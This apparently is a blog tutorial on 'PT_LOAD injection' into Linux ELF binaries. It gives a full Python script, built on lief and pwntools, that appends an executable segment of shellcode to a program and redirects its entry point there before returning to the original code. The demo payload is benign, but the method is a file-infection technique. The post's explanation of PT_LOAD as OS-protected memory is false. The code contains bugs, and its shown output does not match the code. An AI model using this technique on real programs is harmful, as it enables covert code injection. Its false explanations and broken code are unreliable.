PT_LOAD Injection with Python

3 minute read

PT_LOAD Injection is a technique used to inject malicious code into a computer system. This is done by storing the code in a special type of memory called “protected memory” or “PT_LOAD memory,” which is typically reserved for the operating system and is not accessible to user programs or applications. The injected code is executed by tricking the operating system into thinking it is a legitimate part of the system.

In terms of the ELF (Executable and Linkable Format) structure, PT_LOAD Injection typically involves modifying the ELF header to include the injected code as a new PT_LOAD segment. This segment is then executed as part of the normal program execution process. By modifying the ELF header in this way, the injected code can be executed without raising any red flags or triggering security measures.

In Oracle Docs, PT_LOAD described like this:

PT_LOAD

Specifies a loadable segment, described by p_filesz and p_memsz. The bytes from the file are mapped to the beginning of the memory segment. If the segment’s memory size (p_memsz) is larger than the file size (p_filesz), the extra bytes are defined to hold the value 0 and to follow the segment’s initialized area. The file size can not be larger than the memory size. Loadable segment entries in the program header table appear in ascending order, sorted on the p_vaddr member.

Here is our injector we create a new PT_LOAD segment and patch the target file with new PT_LOAD segment. While patching the binary with our PT_LOAD segment we should add the old entrypoint to end of our malicious code. With adding old entrypoint, we will not affect the orijinal process but load our malicious code.

Steps

  1. lief helps us while parsing binary with very simple function: lief.parse()

         binary = lief.parse(args.f)
    
  2. crate a payload and convert it to assembly code with pwn lib’s asm() function, assing it to malcode
  3. add the old entrypoint to the end of malicious code

         payload = "Everybody looks here\n"
         malcode = asm("mov esi, edx")
         malcode += asm(shellcraft.i386.write(1, payload, len(payload)))
         malcode += asm(f"""
         mov edx, esi
         push {hex(binary.header.entrypoint)}
         ret
         """)
    
  4. create a new segment with lief’s ELF.Segment() function and load the malcode

         segment           = lief.ELF.Segment()
         segment.type      = lief.ELF.SEGMENT_TYPES.LOAD
         segment.flags     = lief.ELF.SEGMENT_FLAGS.X
         segment.content   = bytearray(malcode)
         segment.alignment = 0x9876
    
  5. add this new segment to binary

         binary.add(segment)
    
  6. traverse in binary segments and find our segment and set binary’s header.enrtypoint to our segment’s virtual address

         for segment in binary.segments:
             if segment.type == lief.ELF.SEGMENT_TYPES.LOAD and segment.alignment == 0x9876:
                 binary.header.entrypoint = segment.virtual_address
                 break
    

Full code:

import lief
from pwn import *
import argparse

def main():
    parser = argparse.ArgumentParser(description='PT_LOAD Injection PoC', conflict_handler='resolve')
    parser.add_argument('-file','--file', help="Target file", required = True)
    parser.add_argument('-out','--out', help="Output file")
    args = parser.parse_args()

    if len(sys.argv) < 2: 
        args.print_help()
        exit(0)
    try:
        binary = lief.parse(args.f)
  
        payload = "Everybody looks here\n"
        malcode = asm("mov esi, edx")
        malcode += asm(shellcraft.i386.write(1, payload, len(payload)))
        malcode += asm(f"""
        mov edx, esi
        push {hex(binary.header.entrypoint)}
        ret
        """)
  
        segment           = lief.ELF.Segment()
        segment.type      = lief.ELF.SEGMENT_TYPES.LOAD
        segment.flags     = lief.ELF.SEGMENT_FLAGS.X
        segment.content   = bytearray(malcode)
        segment.alignment = 0x9876
        binary.add(segment)
  
        for segment in binary.segments:
            if segment.type == lief.ELF.SEGMENT_TYPES.LOAD and segment.alignment == 0x9876:
                binary.header.entrypoint = segment.virtual_address
                break
  
        print("-> New EntryPoint: ", hex(binary.header.entrypoint))
  
        if args.out:
            binary.write(args.out)
        else:
            binary.write(args.file + "_edited")
    except:
        print("error occurred")
  
if __name__ == "__main__":
    main()

Output:

$   ./hello_world
Hello World!
$   python3 PT_LOAD_inj.py --file ./hello_world
Shellcode size:  53
-> New PT_LOAD segment added succesfully
$   chmod +x hello_world_edited
$   ./hello_world_edited
Everybody looks here!
Hello World!

Source code will be in my repo.

Sources: